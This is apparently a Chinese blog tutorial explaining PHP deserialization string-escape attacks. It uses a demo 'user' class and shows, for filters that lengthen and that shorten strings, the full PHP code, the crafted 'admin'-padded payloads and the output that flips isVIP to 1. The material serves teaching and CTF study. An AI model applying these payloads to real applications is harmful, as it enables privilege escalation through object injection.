PHP 反序列化字符串逃逸

目录

过滤增多字符逃逸

过滤减少字符逃逸


过滤增多字符逃逸

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p){
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}
$obj = new user('admin','123456');
$obj = serialize($obj);
echo $obj;

输出  

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

 可以看出isVIP的值在new user时将自动被赋值,也就是说不能手动赋值。

当增加一个filter函数时

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p){
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;

输出

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
对比无filter与有filter函数时的输出,注意观察admin-->hacker的变化

第一次***O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

第二次***O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

***很明显看出admin变成hacker的时候,值虽变了,但是长度没有变化。

new user('admin','123456');可知,admin为可控输入,而";这两个字符作为闭合字符,加上我们要使得isVIP=1的话,就得让";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}逃逸,并且要拼接在可控输入中才有效,才能让isVIP=1有意义。

所以我们应该把";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}这个逃逸的字符串长度得到(为47),那么接下来就应该考虑把这个逃逸长度*某个值=可控字符总长度(这个总长度将会有关键性作用),某个值其实就是filter函数替换字符串的长度,也就是hacker(长度为6),可控字符总长度:47*6=282位。

在可控输入时,我们输入47个admin与";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}这个逃逸字符串时,会发现它们的总长度为282位。

O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

经过filter过后,admin-->hacker,长度将会增加47个1,也就是47位,此时原可控长度经过serialize和filter函数后总长度为329位。

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

 而进行反序列化后,读取到反花括号}时,将进行截断后面的字符串,形成最终的对象。...s:282:"hacker*282";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;},相当于经过刚刚的截断后,逃逸的字符串替换了原来的字符串的位置,同时也更改了isVIP=1。

print_r(unserialize($a));
(
    [username] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
    [password] => 123456
    [isVIP] => 1
)

过滤增多字符串逃逸总代码

<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}', "123456");
$a = serialize($a);
echo $a.PHP_EOL;
$a = filter($a);
echo $a;
print_r(unserialize($a));

过滤减少字符逃逸

操作前,先得知一下重要细节知识:一个元素的长度会影响闭合,也就是说当长度为47的时候,而内容为空(“”),”将不起闭合作用,这个时候以元素前面长度为准。就如下示例:

s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}"

此时,外层“”内的内容才是47的总长度

源代码

<?php
class user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p){
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s){
    return str_replace("admin","hack",$s);
}

$x = new user('admin','123456');
$x_ser = serialize($x);
echo $x_ser.PHP_EOL;
echo filter($x_ser.PHP_EOL);

?>

输出

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看出admin(5位)会被过滤为hack(4位) 。我们知道增多过滤的时候,是可以在admin的位置进行目标串(";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;})填充,再配合增多的特性与利用反序列化识别}给截断后面多余的部分达到isVIP=1的目的。

减少的关键在于利用好另一个可控位置,即此题中的password部分,如果我们不在这里填充将会出现什么问题呢?因为admin是肯定会被减少与替换为hack的,而当进行serialize的时候,长度读取的会是与写入admin的数量有关系,就算在写入admin的同时拼接目标串,也会被filter函数减少,但是字符减少了,原始serialize的长度没有发生变化,就会导致往后面数位数,一直到满足原始serialize的长度。

所以我们不应该在admin的位置进行可控拼接目标串,应该把目标串(";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;})放在password可控位置尝试。

由于我们将把目标串写在password位置,而admin应该写入多少个才合适嘞?有个重要点,我们把admin末的字符到下一个可控值前的所有字符利用起来,即s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} 红色部分的代码。

由于将受到serialize与filter的影响,元素标记长度不会发生变化,而实际元素会发生变化。

影响前:s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

影响后:s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

当受到serialize与filter的影响后,hack的长度是不足以填充到之前标记的长度,也就是会再往后面算差的字符来作为长度的达标,区间将会是admin末的字符到下一个可控值前的所有字符利用起来(";s:8:"password";s:6:",长度为22,那admin应该写多少才能刚好到目标串(";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;})的";起始位置?

我们知道过滤增加的时候,目标串是填充在admin的位置,填充admin的个数就会是目标串(47位)的倍数才对,这样才能刚好挤出多余的原始串。

那么过滤减少的时候,目标串是填充到password的位置,就不能用目标串(47位)的倍数去考虑填充,而是否能到目标串的位置,就必须思考刚刚长度为22的(";s:8:"password";s:6:")字符串。只有是这个长度的字符串的倍数,才能在缩减的时候,刚好填充到位。那么个数是多少?先告知个人理解的公式:admin的个数=前一个可控值结尾字符到下一个可控值前的字符(本题22位)/(被替换字符串长度-替换字符串长度),即本题admin个数=22/(5-4)=22个。这里就是一个比较难以理解的地方,反正就是要找到合适的个数,而这个个数在受serialize和filter减少影响后,将会由于长度不够,往后取位,取的位数就会刚好是22的范围字符。

22个admin=110位,serialize和filter过后为88位hack,即

s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

 而此时再加上刚刚需要填充的前一个可控值结尾字符到下一个可控值前的字符(";s:8:"password";s:46:" 本题22位),这里的46是因为目标在password输入的目标串长度,但没有关系,因为这里的22位字符串必定包含这里多余字符,这22位将会与88位hack组成110的标准长度。截取过后,后面的字符串就会是

s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

总体会是:

O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

 最后经过unserialize过后,会由于读取到 } 的时候停止截取。就会形成标准的对象的同时,把目标串加入了该对象中,也就是isVIP=1了。结果如下:

object(user)#3 (3) {
  ["username"]=>
  string(110) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:46:"
  ["password"]=>
  string(6) "123456"
  ["isVIP"]=>
  int(1)
}

相关推荐

  1. PHP 序列字符串逃逸

    2023-12-08 12:52:02       31 阅读
  2. PHP序列漏洞-字符串逃逸

    2023-12-08 12:52:02       27 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-08 12:52:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-08 12:52:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-08 12:52:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-08 12:52:02       20 阅读

热门阅读

  1. git merge和git rebase

    2023-12-08 12:52:02       23 阅读
  2. react经验6:使用SVG图片

    2023-12-08 12:52:02       35 阅读
  3. uni-app解决video组件全屏时页面横竖错乱问题

    2023-12-08 12:52:02       61 阅读
  4. 头歌—Hive的安装与配置

    2023-12-08 12:52:02       41 阅读
  5. 解决使用ip来访问MySQL报错的问题

    2023-12-08 12:52:02       39 阅读
  6. Vue学习笔记-缓存路由组件

    2023-12-08 12:52:02       36 阅读
  7. vue的props

    2023-12-08 12:52:02       30 阅读
  8. 基于深度学习的典型目标跟踪算法

    2023-12-08 12:52:02       30 阅读
  9. 力扣面试150题 | 88.合并两个有序数组

    2023-12-08 12:52:02       30 阅读
  10. 使用qemu-nbd挂载qcow2/raw磁盘文件

    2023-12-08 12:52:02       44 阅读